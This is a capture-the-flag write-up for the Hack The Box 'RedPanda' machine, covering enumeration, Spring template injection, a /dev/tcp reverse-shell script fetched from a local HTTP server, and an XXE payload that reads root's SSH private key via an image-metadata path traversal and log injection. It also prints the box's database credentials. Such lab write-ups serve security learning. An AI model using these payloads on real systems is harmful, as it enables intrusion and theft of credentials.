RedPanda Writeup

06 December 2022 #CTF #HTB #box #easy #linux

redpanda info


nmap may not be as cute as a red panda but it's pretty useful:

$ sudo nmap -n -p- -T4 -oN enum/fulltcp.nmap
22/tcp   open  ssh
8080/tcp open  http-proxy
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -n -p $ports -sCV -oN enum/scripts-tcp.nmap
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
8080/tcp open  http-proxy
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=UTF-8
|     Content-Language: en-US
|     Date: Thu, 03 Nov 2022 16:26:55 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en" dir="ltr">
|     <head>
|     <meta charset="utf-8">
|     <meta author="wooden_k">
|     <!--Codepen by khr2003: -->
|     <link rel="stylesheet" href="css/panda.css" type="text/css">
|     <link rel="stylesheet" href="css/main.css" type="text/css">
|     <title>Red Panda Search | Made with Spring Boot</title>
|     </head>
|     <body>
|     <div class='pande'>
|     <div class='ear left'></div>
|     <div class='ear right'></div>
|     <div class='whiskers left'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='whiskers right'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='face'>
|     <div class='eye
|   HTTPOptions: 
|     HTTP/1.1 200 
|     Content-Length: 0
|     Date: Thu, 03 Nov 2022 16:26:55 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Thu, 03 Nov 2022 16:26:55 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>
|_http-title: Red Panda Search | Made with Spring Boot


We can use the ssh banner retrieved by nmap to identify quite accurately what version of Ubuntu is running on this box.

We'll throw the banner in our search engine and append 'launchpad' because this is where Ubuntu packages are hosted: we get this page.

We learn that it is Ubuntu Focal (20.04 LTS) and that the package was published on 11/05/2022.

This might be useful for us later on if we want to try a kernel exploit or something along those lines.


We are greeted with a cute page:

cute red panda face

The title of the page says it was built with 'Spring Boot' which is a Java framework.

Directory bruteforcing time:

$ gobuster dir -u -o enum/80-root.dir -t 42 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
/search               (Status: 405) [Size: 117]
/stats                (Status: 200) [Size: 987]
/error                (Status: 500) [Size: 86]

Going to /stats we can view some information about authors through the author parameter:

/stats page

We can also download an XML file containing these stats.

Tried LFI, SQLi, command injection, but nothing worked.

Let's move on to the search functionality. It is a POST request that has only a name parameter:

greg the red panda

Alright, let's fuzz it up:

$ ffuf -u -d 'name=FUZZ' -fr FUZZ -w /usr/share/seclists/Fuzzing/template-engines-expression.txt -H 'Content-Type: application/x-www-form-urlencoded'

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0 Kali Exclusive <3

 :: Method           : POST
 :: URL              :
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/template-engines-expression.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : name=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Regexp: FUZZ

${42*42}                [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 197ms]
${donotexists|42*42}    [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 232ms]
#{42*42}                [Status: 200, Size: 737, Words: 156, Lines: 29, Duration: 228ms]
[[${42*42}]]            [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 226ms]
42*42                   [Status: 200, Size: 727, Words: 156, Lines: 29, Duration: 222ms]
:: Progress: [11/11] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

/usr/share/seclists/Fuzzing/template-engines-expression.txt contains a bunch of SSTI payloads like {{7*7}} and so on.

We use -fr FUZZ to filter any response that contain the initial payload (if {{7*7}} comes back as {{7*7}}, it isn't intersting for us).

We have to add the Content-Type header, otherwise the server will complain.


We have SSTI:

SSTI poc

If we try to use a '$' in the payload we just get 'Error occured: banned characters'.

Since we know it is a Java Spring app we can grab a payload on hacktricks. We can get RCE with this one:



We can't however get a reverse shell. It seems to break whenever there is a pipe or a redirection in our payload.

To get around this, we will host a reverse shell script on our box:

$ mkdir www
$ cd www
$ echo 'bash -i >& /dev/tcp/ 0>&1' >
$ python -m http.server
Serving HTTP on port 8000 ( ...

Now download it on the target box:


And finally execute it:



There are a few unusual directories in /opt:

woodenk@redpanda:~$ ls -lA /opt
total 16
-rwxr-xr-x 1 root root  462 Jun 23 18:12
drwxr-xr-x 3 root root 4096 Jun 14 14:35 credit-score
drwxr-xr-x 6 root root 4096 Jun 14 14:35 maven
drwxrwxr-x 5 root root 4096 Jun 14 14:35 panda_search

These are most likely part of the web application.

There are mysql creds in /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/

conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");

Nothing of interest is in that DB. The mysql password is also the password for the local account of user 'woodenk' but we can't use sudo:

woodenk@redpanda:/opt/panda_search$ sudo -l
[sudo] password for woodenk:
Sorry, user woodenk may not run sudo on redpanda.

Code Analysis

Source code in the credit-score directory is responsible for managing the stats (seen on the /stats page on the web app) in the form of XML files. The code is in Here is the main function:

public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
    File log_fd = new File("/opt/panda_search/redpanda.log");
    Scanner log_reader = new Scanner(log_fd);

    while (log_reader.hasNextLine()) {
        String line = log_reader.nextLine();

        if (!isImage(line))

        Map parsed_data = parseLog(line);
        String artist = getArtist(parsed_data.get("uri"));
        String xmlPath = "/credits/" + artist + "_creds.xml";
        addViewTo(xmlPath, parsed_data.get("uri"));

This will iterate over each line in this /opt/panda_search/redpanda.log file. It skips any line that does not contain the string .jpg.

The parseLog function will just parse a line into a Map (or dictionary, if you are a python enthusiast). It splits (on ||) the line in 3 parts: response code, remote address, and request URI (useful for us latter).

getArtist will look in the metadata of the image at the path uri and return the value of the tag 'Artist':

public static String getArtist(String uri) throws IOException, JpegProcessingException {
    String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
    File jpgFile = new File(fullpath);
    Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);

    for (Directory dir : metadata.getDirectories())
        for (Tag tag : dir.getTags())
            if (tag.getTagName() == "Artist")
                return tag.getDescription();

    return "N/A";

We can't write to /opt/panda_search/src/main/resources/static but since we controll uri we can use directory traversal to go to somewhere we can write in.

The return value of this function is used to open a file in /credits:

String xmlPath = "/credits/" + artist + "_creds.xml";

By modifying the metadata of an image, we can also controll this variable so we can make the application open a XML file controlled by us.

We also know this app is running as root because only root can write in /credits.

XXE Exploit

The first step is to download an image on our local box:

$ wget

Now we can alter the metadata to have a path traversal payload in the 'Artist' tag:

$ exiftool -Artist='../dev/shm/yep' greg.jpg
Warning: [minor] Ignored empty rdf:Bag list for Iptc4xmpExt:LocationCreated - greg.jpg
    1 image files updated

(install the imagemagick package on Kali)

Now we need to create our yep_creds.xml file. It will contain an external entity that will try to read root's private ssh key:

<?xml version="1.0" ?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa"> ]>

Then we'll upload both yep_creds.xml and the modified greg.jpg to the remote box:

woodenk@redpanda:~$ cd /dev/shm
woodenk@redpanda:/dev/shm$ wget
woodenk@redpanda:/dev/shm$ wget

Note that it is important to place yep_creds.xml in /dev/shm because that's where we put it in the image metadata.

Finaly, in order to trigger the application, we have to write to the log file.

woodenk@redpanda:~$ echo '666||pad||ding||/../../../../../../../../../../../dev/shm/greg.jpg' > /opt/panda_search/redpanda.log

The path has to start with a /.

Wait a minute or two and go back to the xml file to see if it was processed:

woodenk@redpanda:/dev/shm$ cat yep_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root>
-----END OPENSSH PRIVATE KEY-----</root>

Nice, now we can ssh as root (:

Key Takeaways